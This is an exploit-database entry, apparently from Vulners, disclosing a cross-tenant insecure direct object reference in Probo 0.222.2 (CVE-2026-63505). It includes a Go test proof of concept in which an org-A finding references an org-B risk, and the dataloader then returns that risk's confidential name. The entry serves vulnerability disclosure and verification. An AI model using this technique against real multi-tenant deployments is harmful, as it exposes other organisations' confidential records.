Probo 0.222.2 Insecure Direct Object Reference
| Reporter | Title | Published | Views | Family All 2 |
|---|---|---|---|---|
| security-research | 17 Jul 202615:49 | – | githubexploit | |
| Probo 0.222.2 - IDOR | 17 Aug 202600:00 | – | exploitdb |
# Exploit Title: Probo 0.222.2 - IDOR
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/getprobo/probo
# Software Link: https://github.com/getprobo/probo
# Version: <= 0.222.2 (fixed 0.223.1)
# Tested on: Linux
# CVE: CVE-2026-63505
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo
Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (idor_test.go) ---
package idorpoc
import (
"context"
"fmt"
"testing"
"time"
" http://github.com/stretchr/testify/require "
" http://go.gearno.de/kit/pg "
" http://go.probo.inc/probo/internal/test "
" http://go.probo.inc/probo/pkg/coredata "
" http://go.probo.inc/probo/pkg/gid "
)
// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant
// IDOR in the Finding->Risk relation (console v1):
// - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store
// req.RiskID with no scoped validation; coredata Finding.Insert has no tenant
// FK on risk_id. => an org-A finding can reference an org-B risk.
// - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the
// *finding* (org A), then the dataloader (dataloader.go:223) scopes by the
// *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.
// Benign marker: a sentinel risk name created in org B is read back through the
// org-B-scoped load that the resolver uses.
func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {
t.Helper()
tenantID := gid.NewTenantID()
orgID := gid.New(tenantID, coredata.OrganizationEntityType)
now := time.Now()
err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {
_, err := tx.Exec(ctx,
`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,
orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)
return err
})
require.NoError(t, err)
return tenantID, orgID, coredata.NewScope(tenantID)
}
func TestFindingRiskCrossTenantIDOR(t *testing.T) {
client := test.PGClient(t)
ctx := context.Background()
tenantA, orgA, scopeA := mkOrg(t, client)
tenantB, orgB, scopeB := mkOrg(t, client)
_ = tenantA
const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"
riskB := &coredata.Risk{
ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,
Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,
Note: "internal", InherentLikelihood: 3, InherentImpact: 3,
ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),
}
require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
return riskB.Insert(ctx, tx, scopeB)
}), "seed org-B risk")
// --- WRITE GAP: create a finding in org A referencing org B's risk ---
findingA := &coredata.Finding{
ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,
Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,
Priority: coredata.FindingPriorityMedium,
RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId
CreatedAt: time.Now(), UpdatedAt: time.Now(),
}
writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does
})
require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")
t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)
// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---
loaded := &coredata.Risk{}
readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)
return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)
})
require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")
require.Equal(t, sentinel, loaded.Name)
t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)
// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---
contrast := &coredata.Risk{}
cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope
})
require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")
fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3